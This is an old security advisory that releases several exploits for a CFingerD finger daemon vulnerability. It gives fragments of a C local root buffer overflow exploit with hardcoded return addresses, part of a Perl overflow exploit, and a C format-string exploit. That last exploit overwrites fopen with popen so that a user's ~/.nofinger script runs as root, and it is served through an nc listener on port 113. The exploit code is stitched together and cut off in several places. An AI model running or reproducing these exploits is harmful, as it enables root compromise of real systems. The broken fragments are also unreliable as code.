Multiple Exploit Codes Released for the CFingerD Vulnerability
12 Jul. 2001
Summary
CFingerD is a free finger daemon replacement for standard finger daemons such as GNU fingerd or MIT fingerd. A security vulnerability in the product allows attackers to cause the program to execute arbitrary code, compromising the entire system's security.
The following are exploit codes that can be used by administrators to verify whether they are vulnerable to this security hole.
Vulnerable systems:
CFingerD version 1.4.3 and prior
CFingerD version 1.4.3-8
Exploit #1:
/*
* cfingerd 1.4.3 and prior Linux x86 local root exploit
* by qitest1 10/07/2001
*
* This code successfully exploits the bof vulnerability found by
* Steven Van Acker <deepstar@ulyssis.org> and recently posted to
* bugtraq. If the ALLOW_LINE_PARSING option is set, and it is set
* by default, the bof simply occurs when reading the ~/.nofinger
* file. If cfingerd is called by inetd as root, a root shell will be
* spawned. But it is quite funny that the authors of cfingerd in the
* README almost seem to encourage people to set inetd.conf for
* calling cfingerd as root.
*
* Greets: my friends on #sikurezza@Undernet
* jtripper: hi man, play_the_game with me! =)
* warson and warex
*
* Fuck: fender'/hcezar: I want your respect..
*
* have fun with this 0x69 local toy! =)
*/
struct targ
{
int def;
char *descr;
u_long retaddr;
};
struct targ target[]=
{
{0, "Red Hat 6.2 with cfingerd 1.4.0 from tar.gz", 0xbffff660},
{1, "Red Hat 6.2 with cfingerd 1.4.1 from tar.gz", 0xbffff661},
{2, "Red Hat 6.2 with cfingerd 1.4.2 from tar.gz", 0xbffff662},
{3, "Red Hat 6.2 with cfingerd 1.4.3 from tar.gz", 0xbffff663},
{69, NULL, 0}
};
# | Local buffer overflow exploit for cfingerd
# | Copyright (c) 2001 by <teleh0r@digit-labs.org>
# | All rights reserved.
# |
# | Simple exploit for the vulnerability reported
# | to bugtraq by Steven Van Acker.
# |
# | If cfingerd does not run as root, the exploit
# | will of course fail!
# |
# | http://www.digit-labs.org/teleh0r/
use Socket; use File::Copy;
use Getopt::Std; getopts('s:p:o:', \%arg);
if (defined($arg{'s'})) { $sjell = $arg{'s'} }
if (defined($arg{'p'})) { $port = $arg{'p'} }
if (defined($arg{'o'})) { $offset = $arg{'o'} }
# shellcodes written by myself especially for
# this exploit.
Cfingerd is a free and secure finger daemon replacement for
standard finger daemons such as GNU fingerd or MIT fingerd.
April 11, 2001 Megyer Laszlo < abulla@freemail.hu > wrote:
In 3 words: REMOTE ROOT VULNERABILITY
idcf.c - July 11 2001 - happy 3 month anniversary!
cfingerd 1.4.3 identd based localish exploit ;]
no shellcode required if you have a local account
make a script in ~/.nofinger that you want to be
executed as root.
it works by diverting the fopen call to popen. of
course it won't help if you don't already have a
local account but well, its just a proof of concept
and I think it's cute, and the more exploits there
are against an unpatched system, the more likely (I
hope) it will get patched. Would be nice if it worked
that way anyway.
./idcf|nc -l -p 113
on a box you have root on, and finger you@otherhost
to use.
this is hardcoded for four letter names, but shouldn't
require rocket science to make work for others.
Hint: offset and padding : format strings are fun.
M4D PR0PZ T0 :
Steven for showing me da bugz
noid 4 b3in6 7h3r3 wh3n no1 3153 w4z
grue 4 lurking, g00bER 4 something
and the rest of #roothat @ irc.pulltheplug.com
// The offsets are from a version i compiled just to
// test the vulnerability and so will most likely not
// work for you.
// get this from objdump -R cfingered|grep fopen
#define OVER 0x0805532c
// get this from objdump -R cfingerd|grep popen
// and then gdb cfingerd and x/x 0xoffset from objdump
#define WITH 0x080491ba
#include <stdio.h>
main(int argc,char*argv[])
{
int z0=0,ovrw=OVER; // address to overwrite with pass 1
int z1=0,ovrw1=OVER+2; // address to overwrite with pass 2
int slen=strlen("evil fingered from ")+9;
int addr=WITH; // what to overwrite the address with
int offset=20; // where the first address is on the stack
int a1,a2;
FILE *f;
f=fopen("/etc/motd","w+");
if(!f)
{
fprintf("You must be root to use this exploit.\n");
exit(1);
}
a1=(addr&0x000ffff)-slen; // 1st number of bytes
a2=(0x10000+(addr>>16)-a1-slen)&0x0ffff; // 2nd number of bytes
printf(":::A%s%s",&ovrw,&ovrw1); // header/padding/addresses
printf("%%%ux%%%d$hn%%%ux%%%d$hn\n" // formatstring itself
,a1,offset,a2,offset+1);
fprintf(stderr,"Visit http://mp3.com/cosv/ today!\n");
fprintf(stderr,"And mebe visit your account on the other machine.\n");
fprintf(stderr,"after you finger it.\n");
fprintf(f,"Visit http://mp3.com/cosv/ today!\n");
fclose(f);
